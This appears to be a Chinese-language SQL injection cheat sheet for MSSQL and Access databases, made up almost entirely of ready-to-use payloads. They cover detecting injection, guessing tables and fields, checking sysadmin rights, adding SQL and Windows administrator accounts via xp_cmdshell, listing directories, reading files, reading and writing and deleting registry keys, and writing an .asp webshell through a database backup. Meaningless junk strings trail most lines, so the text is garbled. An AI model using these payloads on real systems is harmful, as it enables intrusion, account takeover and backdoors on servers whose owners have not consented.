1.判断是否有注入;and 1=1 ;and 1=2 3&.?9
2.初步判断是否是mssql ;and user>0 &@u;xc| v
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3.注入参数是字符'and [查询条件] and ''=' S'#KPzy.
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 0{#c
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5.判断数据库系统 O3WhO@`6)
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;and (select count(*) from sysobjects)>0 mssql >MZWm6M8
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;and (select count(*) from msysobjects)>0 access o<ak&LX`9
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 yb*P&si5bY
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 S7&w r@
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9r=@S
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9.(1)猜字段的ascii值(access) L/dG0a@1X
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 sJo]$/?F
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(2)猜字段的ascii值(mssql) k0~mK7k
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ]v j=M-:+
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10.测试权限结构(mssql) 6KC.l}Y*
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- |!:ImX@
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- n:d]Z2b
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- IH8^ fyQ`
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- %>B?WR\yE
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Hv2t_QjKT
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Lsa&A+fru
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;and 1=(select IS_MEMBER('db_owner'));-- gjB36R
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11.添加mssql和系统的帐户 |;3Ru vX?+
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;exec master.dbo.sp_addlogin username;-- t"Ok-!c|
;exec master.dbo.sp_password null,username,password;-- `_Iy8rv:P
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ov&4&v
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;exec master.dbo.xp_cmdshell 'net user username password [mX/]31
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- !wy
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- d#E]>:w9
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )jkX&7x
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12.(1)遍历目录 \|9@*]6:
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;create table dirs(paths varchar(100), id int) }pOL[$L
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;insert dirs exec master.dbo.xp_dirtree 'c:\' vW,dJ[N6jm
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;and (select top 1 paths from dirs)>0 NFq&a i
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 6\>S%S2:
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(2)遍历目录 ;Q"xXT`;:
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- eX7dyM
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 eF+:w:\h
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 C
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 rMRM*`Q2
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13.mssql中的存储过程 ,#&\1Vxf
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xp_regenumvalues 注册表根键, 子键 gB/4ro8
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7u[U %yd
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xp_regread 根键,子键,键值名 &)jBr^x#>
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 *J[3f]PBmR
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xp_regwrite 根键,子键, 值名, 值类型, 值 ?d@3y<A,~
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $n_'#m2LE
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 $HVus=D"
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xp_regdeletevalue 根键,子键,值名 lS"g[O+
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 mS?.xu
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
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14.mssql的backup创建webshell k?r-%oJ7
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use model :)f/>-
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create table cmd(str image); )1 ]P4
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insert into cmd(str) values (''); [:M:6JJ
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backup database model to disk='c:\l.asp'; qKoD*cl)Za
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15.mssql内置函数 ,H6*9!Dv2
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;and (select @@version)>0 获得Windows的版本号 <dzfD;
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa F3BWi[Xh
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;and (select user_name())>0 爆当前系统的连接用户 @tv3\eD
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;and (select db_name())>0 得到当前连接的数据库 Bw5zh1ALC;
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16.简洁的webshell z1wJ-l
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use model 5/U|oZM"
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create table cmd(str image); uZ[7[mK}n7
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insert into cmd(str) values (''); lw/zgR#|
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backup database model to disk='g:\wwwtest\l.asp';